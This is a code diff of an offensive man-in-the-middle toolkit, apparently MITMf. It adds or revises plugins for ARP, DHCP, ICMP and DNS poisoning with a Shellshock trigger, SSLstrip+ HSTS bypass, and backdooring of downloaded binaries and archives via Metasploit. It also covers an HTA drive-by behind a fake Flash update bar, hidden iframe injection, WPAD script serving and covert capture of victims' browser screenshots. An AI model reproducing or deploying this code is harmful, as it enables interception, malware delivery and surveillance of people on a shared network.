self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
|
||||
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
|
||||
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
|
||||
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.hostblacklist = self.userConfig['hosts']['blacklist']
|
||||
self.hostwhitelist = self.userConfig['hosts']['whitelist']
|
||||
self.keysblacklist = self.userConfig['keywords']['blacklist']
|
||||
self.keyswhitelist = self.userConfig['keywords']['whitelist']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
self.parse_target_config(self.userConfig['targets']['ALL'])
|
||||
|
||||
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
|
@ -570,12 +566,40 @@ class FilePwn(Plugin):
|
|||
else:
|
||||
self.patched.put(tempZipFile)
|
||||
return
|
||||
|
||||
def parse_target_config(self, targetConfig):
|
||||
for key, value in targetConfig.iteritems():
|
||||
if hasattr(self, key) is False:
|
||||
setattr(self, key, value)
|
||||
self.log.debug("Settings Config {}: {}".format(key, value))
|
||||
|
||||
elif getattr(self, key, value) != value:
|
||||
|
||||
if value == "None":
|
||||
continue
|
||||
|
||||
#test if string can be easily converted to dict
|
||||
if ':' in str(value):
|
||||
for tmpkey, tmpvalue in dict(value).iteritems():
|
||||
getattr(self, key, value)[tmpkey] = tmpvalue
|
||||
self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue))
|
||||
|
||||
else:
|
||||
setattr(self, key, value)
|
||||
self.log.debug("Updating Config {}: {}".format(key, value))
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
|
||||
for target in self.userConfig['targets'].keys():
|
||||
if target == 'ALL':
|
||||
self.parse_target_config(self.userConfig['targets']['ALL'])
|
||||
|
||||
if target in request.headers['host']:
|
||||
self.parse_target_config(self.userConfig['targets'][target])
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
|
|
|
@ -21,36 +21,36 @@ import flask
|
|||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
|
||||
class HTADriveBy(Inject, Plugin):
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
server = HTTPserver().server
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
def hta_request(path):
|
||||
if path == options.hta_app.split('/')[-1]:
|
||||
with open(options.hta_app) as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
|
||||
@server.route('/<hta_req>')
|
||||
def client_request(hta_req):
|
||||
if hta_req == "Flash.hta":
|
||||
with open('./config/hta_driveby/Flash.hta') as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
HTTPserver().add_endpoint(hta_request)
|
||||
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
||||
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')
|
||||
|
|
|
@ -65,7 +65,7 @@ class Inject(Plugin):
|
|||
if self.html_url:
|
||||
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
|
||||
html.body.append(iframe)
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.html_payload:
|
||||
payload = BeautifulSoup(self.html_payload, "html.parser")
|
||||
|
|
|
@ -26,28 +26,28 @@ import re
|
|||
from plugins.plugin import Plugin
|
||||
|
||||
class Replace(Plugin):
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
if "text/html" in mime:
|
||||
if "text/html" in mime:
|
||||
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
|
|
@ -17,6 +17,7 @@
|
|||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
@ -53,13 +54,8 @@ class Responder(Plugin):
|
|||
|
||||
if options.wpad:
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
import flask
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<wpad_req>')
|
||||
def wpad(wpad_req):
|
||||
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||
def wpad_request(path):
|
||||
if (path == 'wpad.dat') or (path.endswith('.pac')):
|
||||
payload = self.config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
|
@ -70,6 +66,8 @@ class Responder(Plugin):
|
|||
|
||||
return resp
|
||||
|
||||
HTTPserver().add_endpoint(wpad_request)
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLserver import MSSQLserver
|
||||
MSSQLserver().start(smbChal)
|
||||
|
|
|
@ -27,33 +27,33 @@ from plugins.plugin import Plugin
|
|||
from plugins.inject import Inject
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
||||
|
|
115
plugins/spoof.py
Normal file
115
plugins/spoof.py
Normal file
|
@ -0,0 +1,115 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Spoof(Plugin):
|
||||
name = "Spoof"
|
||||
optname = "spoof"
|
||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||
version = "0.6"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
self.protocol_instances = []
|
||||
|
||||
from core.utils import iptables, shutdown, set_ip_forwarding
|
||||
#Makes scapy more verbose
|
||||
debug = False
|
||||
|
||||
if options.arp:
|
||||
if not options.gateway:
|
||||
shutdown("[Spoof] --arp argument requires --gateway")
|
||||
|
||||
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
|
||||
arp = ARPpoisoner(options)
|
||||
arp.debug = debug
|
||||
self.tree_info.append('ARP spoofing enabled')
|
||||
self.protocol_instances.append(arp)
|
||||
|
||||
elif options.dhcp:
|
||||
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
|
||||
|
||||
if options.targets:
|
||||
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
|
||||
|
||||
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
|
||||
dhcp.debug = debug
|
||||
self.tree_info.append('DHCP spoofing enabled')
|
||||
self.protocol_instances.append(dhcp)
|
||||
|
||||
elif options.icmp:
|
||||
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
|
||||
|
||||
if not options.gateway:
|
||||
shutdown("[Spoof] --icmp argument requires --gateway")
|
||||
|
||||
if not options.targets:
|
||||
shutdown("[Spoof] --icmp argument requires --targets")
|
||||
|
||||
icmp = ICMPpoisoner(options)
|
||||
icmp.debug = debug
|
||||
self.tree_info.append('ICMP spoofing enabled')
|
||||
self.protocol_instances.append(icmp)
|
||||
|
||||
if options.dns:
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
self.tree_info.append('DNS spoofing enabled')
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
|
||||
set_ip_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().http is False:
|
||||
iptables().HTTP(options.listen_port)
|
||||
|
||||
for protocol in self.protocol_instances:
|
||||
protocol.start()
|
||||
|
||||
def options(self, options):
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
|
||||
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
|
||||
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
|
||||
|
||||
def on_shutdown(self):
|
||||
from core.utils import iptables, set_ip_forwarding
|
||||
|
||||
for protocol in self.protocol_instances:
|
||||
if hasattr(protocol, 'stop'):
|
||||
protocol.stop()
|
||||
|
||||
if not self.manualiptables:
|
||||
iptables().Flush()
|
||||
|
||||
set_ip_forwarding(0)
|
49
plugins/sslstrip+.py
Normal file
49
plugins/sslstrip+.py
Normal file
|
@ -0,0 +1,49 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import sys
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class SSLstripPlus(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
optname = 'hsts'
|
||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
version = "0.4"
|
||||
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
from core.utils import iptables
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
URLMonitor.getInstance().setHstsBypass()
|
||||
DNSChef().setHstsBypass()
|
||||
|
||||
def on_shutdown(self):
|
||||
from core.utils import iptables
|
||||
if not self.manualiptables:
|
||||
if iptables().dns is True:
|
||||
iptables().Flush()
|
|
@ -1,17 +0,0 @@
|
|||
Twisted
|
||||
requests
|
||||
netaddr
|
||||
scapy
|
||||
dnspython
|
||||
cryptography
|
||||
pycrypto
|
||||
msgpack-python
|
||||
configobj
|
||||
mitmflib
|
||||
Pillow
|
||||
pefile
|
||||
ipy
|
||||
pyopenssl
|
||||
service_identity
|
||||
capstone
|
||||
pypcap
|
32
tools/cve-details-parser.py
Executable file
32
tools/cve-details-parser.py
Executable file
|
@ -0,0 +1,32 @@
|
|||
#! /usr/bin/env python2
|
||||
|
||||
import requests
|
||||
import lxml.html
|
||||
import sys
|
||||
|
||||
r = requests.get(sys.argv[1])
|
||||
tree = lxml.html.fromstring(r.text)
|
||||
|
||||
try:
|
||||
|
||||
vulntable = tree.xpath('//table[@id="vulnprodstable"]/*')
|
||||
list_len = len(vulntable)
|
||||
|
||||
tuple_list = []
|
||||
|
||||
for i in vulntable[2:list_len]:
|
||||
java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip())
|
||||
tuple_list.append(java_v)
|
||||
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
string_list = []
|
||||
for v in sorted(set(tuple_list)):
|
||||
version, update = v
|
||||
if update:
|
||||
string_list.append("{}.{}".format(version, update))
|
||||
else:
|
||||
string_list.append(version)
|
||||
|
||||
print ', '.join(string_list)
|
11
update.sh
11
update.sh
|
@ -1,11 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
if [[ $EUID -ne 0 ]]; then
|
||||
echo "You must root" 2>&1
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo 'Updating MITMf'
|
||||
git pull
|
||||
echo 'Updating the-backdoor-factory'
|
||||
cd libs/bdfactory/
|
||||
git pull origin master
|
Loading…
Add table
Add a link
Reference in a new issue